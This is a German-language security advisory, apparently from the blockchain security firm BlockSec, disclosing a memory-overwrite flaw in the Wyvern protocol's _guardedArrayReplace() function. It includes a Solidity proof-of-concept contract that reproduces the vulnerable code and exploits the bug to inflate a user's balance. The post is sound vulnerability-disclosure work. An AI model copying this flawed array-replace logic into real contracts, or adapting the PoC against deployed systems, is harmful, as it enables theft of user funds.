Eine neue Schwachstelle zur Überschreibung von Speicher wurde im Wyvern-Protokoll entdeckt

Wyvern Protocol Schwachwarnung: Potenzial für Ausnutzung führt zu Sicherheitsbedenken

Eine neue Schwachstelle zur Überschreibung von Speicher wurde im Wyvern-Protokoll entdeckt

Einleitung

Unser System zur Erkennung von Schwachstellen hat eine Speicherüberschreibungs-Schwachstelle in der neuesten Implementierung der Wyvern-Bibliothek gefunden, die zum Wyvern dezentralen Börsenprotokoll gehört und zuvor von OpenSea verwendet wurde. Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen.

Wir haben versucht, das Projekt zu kontaktieren (z. B. per E-Mail und über soziale Medien), haben aber noch keine Antwort erhalten. Da OpenSea auf das Seaport-Protokoll migriert ist, glauben wir, dass es sicher ist, die detaillierten Informationen öffentlich preiszugeben. Außerdem möchten wir diese Erkenntnisse teilen, um die Community einzubinden, da der Fehler selbst etwas knifflig ist und die Ausnutzung durchaus interessant ist.

Beschreibung

Der anfällige Code befindet sich im offiziellen Code-Repository unter dem Commit-Hash 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9.

Insbesondere liegt dieser Fehler in der Funktion _guardedArrayReplace() von ArrayUtils.sol. Wie der Name schon sagt, wird diese Funktion verwendet, um ein dynamisch dimensioniertes Byte-Array (d. h. den zweiten Parameter namens _desired) selektiv in ein anderes (d. h. den ersten Parameter namens _array) zu kopieren. Beachten Sie, dass diese Funktion so implementiert ist, dass sie eine Wort-basierte (d. h. 0x20 Bytes) Operation durchführt, und daher kann die Codellogik basierend auf dem Ergebnis der Division in zwei Schritte unterteilt werden.

Für den Quotienteil (d. h. words = array.length / 0x20) kopiert die Codellogik von Zeile 42 bis Zeile 49 das gewünschte Array Wort für Wort in das Zielarray. Dieser Schritt funktioniert wie erwartet, obwohl die Assert-Anweisung in Zeile 39 aufgrund der Ganzzahlarithmetik nutzlos ist.

Nachdem der vorherige Schritt abgeschlossen ist, bedeutet ein Rest bei der Division, dass noch einige Bytes übrig sind, die nicht korrekt kopiert wurden. Die Codellogik von Zeile 52 bis Zeile 66 ist darauf ausgelegt, diese Bytes zu verarbeiten. Leider verwendet die if-Anweisung in Zeile 52 irrtümlich den Quotienten (words, d. h. array.length / 0x20) anstelle des Rests (array.length % 0x20) zur Überprüfung.

Die Schwere

Dieser Fehler kann zu beliebigen Speicherbeschreibungen führen. Angenommen, array.length ist genau durch 0x20 teilbar, dann erfolgt die Kopieroperation tatsächlich in der Schleifenlogik. In den meisten Fällen wird die Funktion jedoch die anfällige Logik betreten und versuchen, ein Wort hinter dem gewünschten Array in das Zielarray zu kopieren, was unweigerlich zu einem Grenzwertüberschreitung führt. Schlimmer noch, die fehlerhafte Logik könnte ausgenutzt werden, um ein Wort am Ende des Zielarrays zu überschreiben, was ein unbekannter Speicherbereich ist, der für jeden Zweck verwendet werden kann.

Wie kann dieser Fehler ausgenutzt werden?

Wir haben einen PoC-Vertrag entwickelt, um den potenziellen Angriffsvektor zu veranschaulichen. Der PoC-Vertrag enthält zwei Funktionen. Die erste, test(), dient zur Durchführung des Angriffs, während die zweite einfach die anfällige Funktion guardedArrayReplace() ist.

Insbesondere definieren wir in der Funktion test() zunächst einige In-Memory-Bytes (a, b und mask) sowie ein Array (d. h. _rewards). Das hier definierte _rewards wird zur Berechnung der Benutzerbelohnungen verwendet. Nach dem Aufruf der Funktion guardedArrayReplace() zum Kopieren von a nach b mit mask wird _rewards zum Saldo des Benutzers hinzugefügt (d. h. balances[msg.sender]).

<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph="">    mapping(address=&gt;uint) public balances;<br></span><span id="5b38" data-selectable-paragraph="">    event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph="">    function test() external {<br>        bytes memory a = abi.encode(keccak256("123"));<br>        bytes memory b = abi.encode(keccak256("456"));<br>        uint[] memory _rewards = new uint[](1);<br>        bytes memory mask = abi.encode(keccak256("123"));<br>        bytes memory d = abi.encode(keccak256("eee"));<br>        bytes memory d1 = abi.encode(keccak256("eee"));<br>        bytes memory d3 = abi.encode(keccak256("eee"));<br>        bytes memory d4 = abi.encode(keccak256("eee"));<br>        bytes memory d5 = abi.encode(keccak256("eee"));<br>        guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph="">        for(uint i = 0; i &lt; _rewards.length; i++){<br>            uint256 amt = _rewards[i];<br>            balances[msg.sender] += amt;<br>        }<br>    }</span><span id="9ed3" data-selectable-paragraph="">    function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br>        internal<br>        pure<br>    {<br>        require(array.length == desired.length, "Arrays have different lengths");<br>        require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph="">        uint words = array.length / 0x20;<br>        uint index = words * 0x20;<br>        assert(index / 0x20 == words);<br>        uint i;</span><span id="85cd" data-selectable-paragraph="">        for (i = 0; i &lt; words; i++) {<br>            /* Conceptually: array[i] = (!mask[i] &amp;&amp; array[i]) || (mask[i] &amp;&amp; desired[i]), bitwise in word chunks. */<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br>            }<br>        }</span><span id="69d7" data-selectable-paragraph="">        /* Deal with the last section of the byte array. */<br>        if (words &gt; 0) {<br>            /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br>            i = words;<br>            assembly {<br>                let commonIndex := mul(0x20, add(1, i))<br>                let maskValue := mload(add(mask, commonIndex))<br>                mstore(add(array, commonIndex), or(<br>                    and(not(maskValue), <br>                    mload(<br>                        add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br>                )<br>            }<br>        } else {<br>            /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br>               (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br>            for (i = index; i &lt; array.length; i++) {<br>                array[i] = ((mask[i] ^ 0xff) &amp; array[i]) | (mask[i] &amp; desired[i]);<br>            }<br>        }<br>    }<br>}</span>

Hier verwenden wir Remix, um das Ergebnis zu demonstrieren. Es ist erwähnenswert, dass wir zunächst keinen Wert für _rewards und balances zuweisen. Nach der Ausnutzung wird der Benutzerkontostand auf einen extrem hohen Wert gesetzt (wie im roten Rechteck gezeigt).

Schlussfolgerung

Obwohl selten, können solche Speicherüberschreibungs-Schwachstellen immer noch in Smart Contracts vorhanden sein. Entwickler müssen auf die Codellogik achten, die den Speicher manipuliert.

Über BlockSec

BlockSec ist ein führendes Blockchain-Sicherheitsunternehmen, das 2021 von einer Gruppe weltweit renommierter Sicherheitsexperten gegründet wurde. Das Unternehmen hat sich zum Ziel gesetzt, die Sicherheit und Benutzerfreundlichkeit der aufstrebenden Web3-Welt zu verbessern, um deren Massenadoption zu fördern. Zu diesem Zweck bietet BlockSec Dienstleistungen für die Prüfung von Smart Contracts und EVM-Ketten an, die Phalcon-Plattform für die Sicherheitsentwicklung und die proaktive Abwehr von Bedrohungen, die MetaSleuth-Plattform für die Verfolgung von Geldern und die Untersuchung sowie die MetaDock-Erweiterung für Web3-Entwickler, die effizient in der Krypto-Welt navigieren.

Bisher hat das Unternehmen über 300 angesehene Kunden wie MetaMask, Uniswap Foundation, Compound, Forta und PancakeSwap betreut und in zwei Finanzierungsrunden von namhaften Investoren, darunter Matrix Partners, Vitalbridge Capital und Fenbushi Capital, zweistellige Millionenbeträge erhalten.

Offizielle Website: https://blocksec.com/

Offizieller Twitter-Account: https://twitter.com/BlockSecTeam

Sign up for the latest updates